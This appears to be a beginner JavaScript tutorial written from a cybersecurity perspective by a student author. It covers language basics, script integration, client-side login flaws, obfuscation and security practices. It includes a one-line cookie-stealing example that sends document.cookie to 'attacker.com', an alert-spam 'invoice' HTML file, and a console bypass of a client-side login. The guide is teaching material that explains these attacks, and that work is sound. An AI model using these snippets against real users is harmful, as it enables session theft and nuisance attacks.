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JavaScript Essentials 
From Fundamentals to Security - A Cybersecurity Perspective 

 

Introduction: JavaScript's Dual Nature 

JavaScript (JS) is the programming language that brings web pages to life. While HTML provides structure and CSS 

adds style, JavaScript adds interactivity-form validation, dynamic content updates, animations, user interactions, and 

much more. It's one of the most popular programming languages in the world, powering everything from simple websites 

to complex web applications. 

But here's the catch: The same features that make JavaScript powerful for developers also make it dangerous in the 

hands of attackers. This guide teaches JavaScript from a cybersecurity perspective-understanding both how to use it 

effectively and how attackers exploit it. 

What You'll Learn 

✓ JavaScript fundamentals (variables, functions, loops) 

✓ Integrating JavaScript with HTML (internal vs external) 

✓ Dialogue functions and how attackers abuse them 

✓ Control flow statements and authentication bypass 

✓ Code minification and obfuscation techniques 

✓ Security best practices for JavaScript development 
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Part 1: JavaScript Fundamentals 

Variables: Storing Data 

Variables are containers that store data. Think of them as labeled boxes-you put something inside and give it a name so 

you can find it later. 

Three Ways to Declare Variables: 

var - Function-scoped (old way, avoid in modern code) 

var age = 25; var name = "Alice"; 

let - Block-scoped, can be reassigned (modern, preferred) 

let age = 25; age = 26; // Can be changed 

const - Block-scoped, cannot be reassigned (best for values that don't change) 

const PI = 3.14159; PI = 3.14; // ERROR! Cannot reassign 

Best Practice: Use const by default. Use let only when you need to reassign. Avoid var. 

 

 

Data Types: What Can Variables Hold? 

String - Text data 

let name = "John"; let message = 'Hello, World!'; 

Number - Integers and decimals 

let age = 25; let price = 19.99; 

Boolean - True or false 

let isLoggedIn = true; let hasPermission = false; 

Null - Intentionally empty value 

let user = null; // No user currently 

Undefined - Variable declared but not assigned 

let username; // undefined 

Object - Complex data structures 

let person = {   name: "Alice",   age: 30,   city: "London" }; 

Array - Ordered list of values 

let numbers = [1, 2, 3, 4, 5]; let names = ["Alice", "Bob", "Charlie"]; 
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Functions: Reusable Code Blocks 

Functions group code that performs a specific task. Instead of writing the same code multiple times, create a function 

once and call it whenever needed. 

Real-World Example: Student Results 

// Define the function  

function PrintResult(rollNum) {    

alert("Student with roll number " + rollNum + " has passed!"); 

 }   

// Call it for different students  

PrintResult(101);  

// Displays: Student with roll number 101 has passed!  

PrintResult(102);  

PrintResult(103); 

Without functions: You'd write alert("Student...") 100 times! 

With functions: Write once, call 100 times! 

Loops: Repeating Tasks 

Loops run code multiple times automatically. Perfect for processing lists, counting, or repetitive tasks. 

For Loop Example: 

// Print results for 100 students  

const rollNumbers = [101, 102, 103, 104, 105];   

for (let i = 0; i < rollNumbers.length; i++) {    

PrintResult(rollNumbers[i]);  

} 

What this does: 

• let i = 0 - Start at position 0 

• i < rollNumbers.length - Continue while i is less than array length 

• i++ - Increase i by 1 each time 

• PrintResult(rollNumbers[i]) - Call function for each student 
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Your First JavaScript Program 

JavaScript runs directly in your browser-no installation needed! Let's create a simple program: 

// Hello, World!  

console.log("Hello, World!");   

// Variable  

let age = 25;  

// Control Flow  

if (age >= 18) {    

console.log("You are an adult."); 

} else {    

console.log("You are a minor.");  

}  // Function  

function greet(name) {    

console.log("Hello, " + name + "!");  

}  greet("Bob");  

// Output: Hello, Bob! 

How to Run This: 

1. Open Google Chrome 

2. Press Ctrl+Shift+I (or F12) to open Developer Tools 

3. Click the 'Console' tab 

4. Copy and paste the code above 

5. Press Enter 

Result: You'll see "Hello, World!", "You are an adult.", and "Hello, Bob!" printed! 

Part 2: Integrating JavaScript with HTML 

JavaScript doesn't render content alone-it works with HTML. There are two ways to add JavaScript to HTML: 

Method 1: Internal JavaScript 

Embed JavaScript directly inside HTML using <script> tags: 

<!DOCTYPE html>  

<html>  

<head>    

<title>Internal JS Example</title>  

</head>  

<body>    

<h1>Addition of Two Numbers</h1>    

<p id="result"></p>       

<script>      

let x = 5;      

let y = 10;      

let result = x + y;      

document.getElementById("result").innerHTML = "Result: " + result;    

</script>   

</body>  

</html> 
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What happens: 

• Browser loads HTML 

• Executes JavaScript inside <script> tags 

• Finds element with id='result' 

• Updates its content with the result (15) 

Use when: You have small, page-specific scripts 

Method 2: External JavaScript (Recommended) 

Store JavaScript in a separate .js file and link it: 

File 1: script.js 

let x = 5;  

let y = 10;  

let result = x + y;  

document.getElementById("result").innerHTML = "Result: " + result; 

File 2: external.html 

<!DOCTYPE html>  

<html>  

<head>    

<title>External JS</title>  

</head>  

<body>    

<h1>Addition of Two Numbers</h1>    

<p id="result"></p>       

<! -- Link external JavaScript file -->    

<script src="script.js"></script>  

</body>  

</html> 

Why external is better: 

✓ Keeps HTML clean and organized 

✓ Reuse same script across multiple pages 

✓ Easier to maintain and debug 

✓ Browser caches .js files (faster loading) 

How to Identify: Internal vs External JavaScript 

When analyzing a website (pentesting), you need to know where the JavaScript comes from: 

Right-click → View Page Source 

Internal JavaScript: <script>code here</script> (no src attribute) 

External JavaScript: <script src="file.js"></script> (has src attribute) 
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Part 3: Dialogue Functions and Their Abuse 

JavaScript provides three built-in functions for user interaction. While useful for developers, attackers can exploit them 

for malicious purposes. 

1. alert() - Display Messages 

Shows a message box with an 'OK' button: 

alert("Welcome to our website!"); 

Legitimate use: Displaying warnings or important information 

2. prompt() - Get User Input 

Asks user for input and returns their answer: 

let name = prompt("What is your name?"); alert("Hello, " + name + "!"); 

Legitimate use: Collecting simple user input 

3. confirm() - Get Yes/No Decision 

Shows message with 'OK' and 'Cancel' buttons, returns true or false: 

let proceed = confirm 

("Do you want to continue?");  

if (proceed) {    

console.log("User clicked OK");  

} else {    

console.log("User clicked Cancel");  

} 

Legitimate use: Confirming dangerous actions (delete, logout, etc.) 

How Attackers Exploit Dialogue Functions 

Attack Scenario: You receive an email with an HTML attachment. It looks harmless, but when opened: 

<!DOCTYPE html>  

<html>  

<head>    

<title>Invoice</title>  

</head>  

<body>    

<script>      

for (let i = 0; i < 500; i++) {        

alert("Your computer has been hacked!");     

 }    

</script>  

</body>  

</html> 

Result: You're forced to click 'OK' 500 times! The browser becomes unresponsive. You can't close the tab easily. 

This is a simple Denial of Service (DoS) attack on the client side! 

Defense: Only open HTML files from trusted sources. Modern browsers now limit alert() loops. 
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Part 4: Control Flow and Security Bypass 

Control flow statements (if-else, switch, loops) determine how code executes based on conditions. Understanding them is 

crucial for both development and security testing. 

If-Else Statements in Action 

<!DOCTYPE html>  

<html>  

<head>    

<title>Age Verification</title>  

</head>  

<body>    

<h1>Age Verification</h1>    

<p id="message"></p>       

<script>      

let age = prompt("What is your age?");           

if (age >= 18) {        

document.getElementById("message").innerHTML = "You are an adult.";      

} else {        

document.getElementById("message").innerHTML = "You are a minor.";      

}    

</script>  

</body>  

</html> 

This checks if age is 18 or older and displays appropriate message. 

The Critical Flaw: Client-Side Authentication 

NEVER rely on JavaScript for security! Here's why: 

Vulnerable Login Example: 

<!DOCTYPE html>  

<html>  

<body>    

<script>      

let username = prompt("Username:");      

let password = prompt("Password:");           

if (username === "admin" && password === "secret123") {        

alert("Login successful!");        

// Redirect to admin panel      

} else {        

alert("Invalid credentials!");      

}    

</script>  

</body>  

</html> 

What's wrong with this?  

1. Right-click → View Page Source 

2. See the password in plaintext: "secret123" 

3. Attacker logs in immediately! 
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Even worse: Attackers can bypass the check entirely: 

• Open browser console (F12) 

• Type: window.location = "admin.html" 

• Boom! Access granted without credentials! 

Correct approach: ALWAYS validate credentials on the server! JavaScript validation is only for user experience, never 

security. 

Part 5: Code Minification and Obfuscation 

What is Minification? 

Minification removes unnecessary characters from code to reduce file size: 

Before (Normal Code): 

function greet(name) {   console.log("Hello, " + name + "!"); }  greet("Alice"); 

After Minification: 

function greet(n){console.log("Hello, "+n+"!")}greet("Alice"); 

What's removed: 

• Whitespace (spaces, tabs, newlines) 

• Comments 

• Line breaks 

Benefits: Smaller files → Faster downloads → Better performance 

What is Obfuscation? 

Obfuscation makes code intentionally hard to read and understand: 

Original Code: 

function hi() {   alert("Welcome to THM"); } hi(); 

Obfuscated Code (partial example): 

(function(_0x114713,_0x2246f2){var _0x51a830=_0x33bf,_0x4ce60b=_0x114713();while(!![]){try{var _0x51ecd3=-

parseInt(_0x51a830(0x88))... 

What obfuscation does: 

• Renames variables to gibberish (_0x114713, _0x2246f2) 

• Encodes strings in hexadecimal 

• Adds dummy code and logic 

• Restructures control flow 

Important: Obfuscated code still works perfectly! The browser can execute it, but humans can't easily read it. 
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Real-World Example: Hiding Malicious Code 

Attackers use obfuscation to hide malicious JavaScript in compromised websites: 

1. Original malicious code (readable): 

// Steal user's cookies let cookies = document.cookie; fetch('https://attacker.com/steal?data=' + 

cookies); 

2. After obfuscation: 

eval(function(p,a,c,k,e,d){...}('0x3f2','split','0x1e9'...)); 

→ Security scanners have a harder time detecting the malicious intent! 

Deobfuscating Code (Defender's Perspective) 

When analyzing suspicious JavaScript, you can reverse obfuscation using online tools: 

Popular deobfuscation tools: 

• de4js.com 

• beautifier.io 

• JSNice (uses machine learning) 

Process: 

1. Copy obfuscated code 

2. Paste into deobfuscation tool 

3. Get human-readable code back 

4. Analyze for malicious behavior 

Part 6: Security Best Practices 

1. Never Rely on Client-Side Validation Alone 

Problem: Users can disable JavaScript, modify it in the browser, or bypass it entirely. 

Solution: Always validate on the server! 

Client-side validation = Better user experience 

Server-side validation = Actual security 

2. Only Use Trusted JavaScript Libraries 

Danger: Attackers upload malicious libraries with names similar to legitimate ones. 

Examples of typosquatting: 

Legitimate: jquery.js 

Malicious: jqeury.js, jqurey.js, jquary.js 

Best practice:  

✓ Use official CDNs (cdnjs.com, unpkg.com) 

✓ Verify package names carefully 

✓ Check download counts and reviews 

✓ Use Subresource Integrity (SRI) hashes 
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3. Never Hardcode Secrets 

BAD PRACTICE:  

// DON'T DO THIS!  

const API_KEY = 'sk_live_1234567890abcdef';  

const PASSWORD = 'admin123'; const  

SECRET_TOKEN = 'super_secret_xyz'; 

Why this is terrible:  

• Anyone can view page source and see your secrets 

• API keys are visible in DevTools 

• Secrets appear in browser cache/history 

• Bots scan GitHub for hardcoded keys 

Correct approach:  

✓ Store secrets on server (environment variables) 

✓ Use backend APIs to handle sensitive operations 

✓ Never expose private keys to client-side code 

4. Always Minify and Obfuscate Production Code 

Why minify:  

• Reduces file size (faster loading) 

• Saves bandwidth costs 

• Improves page performance 

Why obfuscate:  

• Makes reverse engineering harder 

• Protects proprietary algorithms 

• Slows down attackers (not foolproof!) 

Reality check: Obfuscation is NOT encryption! Determined attackers can still deobfuscate your code. It just makes their 

job harder. 

 

 

 

 

 

 

 

https://lavansivakumar.co.uk/


Lavan Sivakumar | BSc in Cybersecurity | Nottingham Trent University | lavansivakumar.co.uk 

Key Takeaways 

Fundamentals: 

✓ Variables (let, const) store data in containers 

✓ Data types: string, number, boolean, null, undefined, object, array 

✓ Functions group reusable code blocks 

✓ Loops automate repetitive tasks 

Integration: 

✓ Internal JavaScript: <script> tags in HTML 

✓ External JavaScript: Separate .js files (preferred) 

✓ View source to identify method used 

Security: 

✓ Client-side validation = UX, NOT security 

✓ Always validate on server side 

✓ Never hardcode secrets in JavaScript 

✓ Use trusted libraries only (beware typosquatting) 

✓ Minify and obfuscate production code 

✓ Dialogue functions (alert, prompt, confirm) can be abused 

Attacker Techniques: 

✓ Alert spam for client-side DoS 

✓ View source to find hardcoded credentials 

✓ Bypass client-side authentication in console 

✓ Obfuscate malicious code to evade detection 

✓ Typosquatting malicious libraries 

Conclusion 

JavaScript is the backbone of modern web interactivity, but with great power comes great responsibility. Understanding 

JavaScript from a cybersecurity perspective means recognizing both its legitimate uses and how attackers exploit its 

features. 

Remember these critical security principles: 

Defense in depth: JavaScript validation is layer 1. Server-side validation is the actual security layer. 

Trust nothing from the client: Users control their browsers. Treat all client-side data as untrusted. 

Secrets stay on the server: API keys, passwords, tokens-never exposed in JavaScript. 

Obfuscation ≠ Security: It slows attackers down, but don't rely on it for protection. 

Whether you're building web applications, conducting penetration tests, or simply browsing the web, understanding 

JavaScript's security implications helps you make better decisions and build more secure systems. 

Code smart. Test thoroughly. Secure relentlessly.           
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